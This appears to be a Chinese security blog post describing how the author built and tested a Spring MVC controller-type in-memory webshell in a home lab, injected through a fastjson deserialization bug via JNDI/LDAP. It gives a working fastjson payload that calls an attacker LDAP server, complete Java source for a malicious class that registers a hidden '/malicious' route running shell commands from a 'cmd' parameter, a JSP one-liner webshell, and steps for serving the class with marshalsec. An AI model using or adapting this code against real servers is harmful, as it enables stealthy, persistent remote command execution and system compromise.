针对spring mvc的controller内存马-学习和实验

时间：2024-09-17 21:37:32

1 基础

实际上java内存马的注入已经有很多方式了，这里在学习中动手研究并写了一款spring mvc应用的内存马。一般来说实现无文件落地的java内存马注入，通常是利用反序列化漏洞，所以动手写了一个spring mvc的后端，并直接给了一个fastjson反序列化的页面，在假定的攻击中，通过jndi的利用方式让web端加载恶意类，注入controller。一切工作都是站在巨人的肩膀上，参考文章均在最后列出。

1.1 fastjson反序列化和JNDI

关于fastjson漏洞产生的具体原理已有很多分析文章，这里使用的是fastjson1.24版本，poc非常简单

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

当web端使用fastjson对上面的json进行反序列化时，受到@type注解的指示，会通过反射创建com.sun.rowset.JdbcRowSetImpl类的对象，基于fastjson的机制web端还会自动调用这个对象内部的set方法，最后触发JdbcRowSetImpl类中的特定set方法，访问dataSourceName指定的服务端，并下载执行服务端指定的class文件，细节这里不做更详细的展开。

1.2 向spring mvc注入controller

学习了listener、filter、servlet的内存马后，想到看一看spring相关的内存马，但没有发现直接给出源代码的controller型内存马，所以学习并动手实现了一下。

首先站在巨人的肩膀上，可以知道spring mvc项目运行后，仍然可以动态添加controller。普通的controller写法如下

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通过@RequestMapping注解标明url和请求方法，编译部署后，spring会根据这个注解注册好相应的controller。动态注入controller的核心步骤如下

public class InjectToController{

    public InjectToController(){

    // 1. 利用spring内部方法获取context

    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

    // 2. 从context中获得 RequestMappingHandlerMapping 的实例

    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

    // 3. 通过反射获得自定义 controller 中的 Method 对象

    Method method2 = InjectToController.class.getMethod("test");

    // 4. 定义访问 controller 的 URL 地址

    PatternsRequestCondition url = new PatternsRequestCondition("/malicious");

    // 5. 定义允许访问 controller 的 HTTP 方法（GET/POST）

    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

    // 6. 在内存中动态注册 controller

    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

    InjectToController injectToController = new InjectToController("aaa");

    mappingHandlerMapping.registerMapping(info, injectToController, method2);

    }

    public void test() {

        xxx

    }

}

  • 步骤1中的context可以理解为web端处理这个请求时，当前线程内所拥有的各种环境信息和资源

  • 步骤2中获取的mappingHandlerMapping对象是用于注册controller的

  • 步骤3中的反射是为了获得test这个Method对象，以便动态注册controller时，告知接收到给定url路径的请求后，用那个Method来处理，其中InjectToController类就是我们的恶意类

  • 步骤4定义的url对象是为了指定注入url，这个url就是我们的内存马路径

  • 步骤5是告知注入的url允许的请求方法

  • 步骤6中RequestMappingInfo填入的信息类似于@RequestMapping注解中的信息，即url、允许的请求方法等。是真正注册controller的步骤

  • InjectToController这个类就是我们的恶意类，其中定义了test方法，这个方法内存在执行命令，当然也可以替换成冰蝎、哥斯拉的webshell核心代码，以便使用这两个工具。InjectToController的完整代码在后面的章节可见

1.3 获取request和response

常用的jsp一句话webshell代码如下

java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));

由于jsp文件被执行时，会自动获得了request这个资源，所以一句话木马不需要考虑如何获取request这个对象。但在我们注入controller的流程中，恶意java类的编译是由攻击者完成的，web端直接执行编译好的class文件，显然不可能像上面图片中用注解的方式在让test方法(InjectToController中的)的参数自带request， 所以再一次站在巨人的肩膀上https://www.jianshu.com/p/89b0a7c11ee2 ，通过spring的内部方法获取到request和response对象

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

如果spring mvc项目部署在tomcat下，也可以用针对tomcat获取requeset的方法，例如从ThreadLocal、Mbean和Thread.getCurrentThread获取(后方参考文献中已给出)

1.4 阻止重复添加controller (非必须)

经过调试发现，上面获取的mappingHandlerMapping中有一个mappingRegistry成员对象，而该对象下的urlLookup属性保存了已经注册的所有url路径，对mappingHandlerMapping进一步后发现，以上对象和属性都是私有的，且mappingRegistry并非mappingHandlerMapping中创建的，而是来自于基类AbstractHandlerMethodMapping。

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所以对AbstractHandlerMethodMapping的源码进行了一番查看，发现通过其getMappingRegistry方法可以获取mappingRegistry，而urlLookup是其内部类MappingRegistry的私有属性，可以通过反射获取。

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反射获取urlLookup和判断我们给定的url是否被注册的代码块如下

// 获取abstractHandlerMethodMapping对象，以便反射调用其getMappingRegistry方法

AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);

// 反射调用getMappingRegistry方法

Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");

method.setAccessible(true);

Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);

// 反射获取urlLookup属性

Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");

field.setAccessible(true);

Map urlLookup = (Map) field.get(mappingRegistry);

// 判断我们想要注入的路径是否被已经存在

Iterator urlIterator = urlLookup.keySet().iterator();

List<String> urls = new ArrayList();

while (urlIterator.hasNext()){

    String urlPath = (String) urlIterator.next();

    if ("/malicious".equals(urlPath)){

        System.out.println("url已存在");

        return;

    }

}

2 实验

2.1 搞个spring mvc的测试环境

这里用idea做了一个maven+spring mvc+tomcat的测试环境，方便随时换spring、fastjson和tomcat的版本。这个Web应用的功能有两个：

  • /home/postjson，可以输入json并POST给/home/readjson
  • /home/readjson，使用fastjson解析json，触发反序列化的rce

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2.2 恶意类源代码

通过JNDI注入让服务端执行的代码如下

import org.springframework.web.context.WebApplicationContext;

import org.springframework.web.context.request.RequestContextHolder;

import org.springframework.web.context.request.ServletRequestAttributes;

import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;

import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;

import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;

import org.springframework.web.servlet.mvc.method.RequestMappingInfo;

import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.lang.reflect.Method;

import java.util.ArrayList;

import java.util.Iterator;

import java.util.List;

import java.util.Map;

public class InjectToController {

    // 第一个构造函数

    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {

        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean

        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 可选步骤，判断url是否存在

        AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);

        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");

        method.setAccessible(true);

        Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);

        Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");

        field.setAccessible(true);

        Map urlLookup = (Map) field.get(mappingRegistry);

        Iterator urlIterator = urlLookup.keySet().iterator();

        List<String> urls = new ArrayList();

        while (urlIterator.hasNext()){

            String urlPath = (String) urlIterator.next();

            if ("/malicious".equals(urlPath)){

                System.out.println("url已存在");

                return;

            }

        }

        // 可选步骤，判断url是否存在

        // 2. 通过反射获得自定义 controller 中test的 Method 对象

        Method method2 = InjectToController.class.getMethod("test");

        // 3. 定义访问 controller 的 URL 地址

        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");

        // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）

        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

        // 5. 在内存中动态注册 controller

        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

        // 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环

        InjectToController injectToController = new InjectToController("aaa");

        mappingHandlerMapping.registerMapping(info, injectToController, method2);

    }

    // 第二个构造函数

    public InjectToController(String aaa) {}

	// controller指定的处理方法

    public void test() throws  IOException{

        // 获取request和response对象

        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        // 获取cmd参数并执行命令

        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));

    }

}
  • 由于fastjson反序列化时，自动下载并执行编译好的class文件，所以要在构造函数中写入注册controller的步骤
  • 反序列化时自动触发的构造函数是第一个构造函数，因为没有带参数
  • 由于registerMapping方法注册controller时需要给一个对象和这个对象内部的处理方法，而web端只下载了InjectToController这个类，再来一次JNDI去获取一个恶意类属实麻烦，所以用了InjectToController injectToController = new InjectToController("aaa");，这样就会进入第二个构造函数，而不会进入第一个构造函数无限循环。

2.3 测试

启动spring mvc项目，访问/项目/malicious路径，返回404

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使用marshalsec开一个ldap的服务，并指定/Exploit这个reference对应的路径为192.168.x.x:8090/#InjectToController，再用python开一个web文件服务器

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编译InjectToController.java，将编译好的class文件放到python开的web文件服务根目录下，访问/项目/home/postjson，并提交payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

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payload提交后，会被fastjson进行反序列化，在这个过程中会触发JdbcRowSetImpl中的connect函数，并根据给定的dataSourceName发起LDAP请求，从开启的给定的LDAP服务端(1389端口)获得恶意类的地址，再去下载并执行恶意类(8090端口)，可以看到payload攻击成功了

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访问/malicious这个uri确定一下

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2.4 注入菜刀代码

只需要找一匹稳定的jsp菜刀马，稍加改造:

  • 把菜刀马的函数定义放在恶意类中
  • 在注入的controller代码中加入菜刀马的判断和执行部分(上面的test方法中)
  • 注意jsp菜刀马最后的out.print(sb.toString());改为response.getWriter().write(sb.toString());response.getWriter().flush();

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2.5 注入冰蝎代码

待施工

参考文献

https://www.anquanke.com/post/id/198886#h3-12

https://www.jianshu.com/p/89b0a7c11ee2

https://github.com/mbechler/marshalsec

https://lalajun.github.io/2019/12/30/java反序列化-fastjson/

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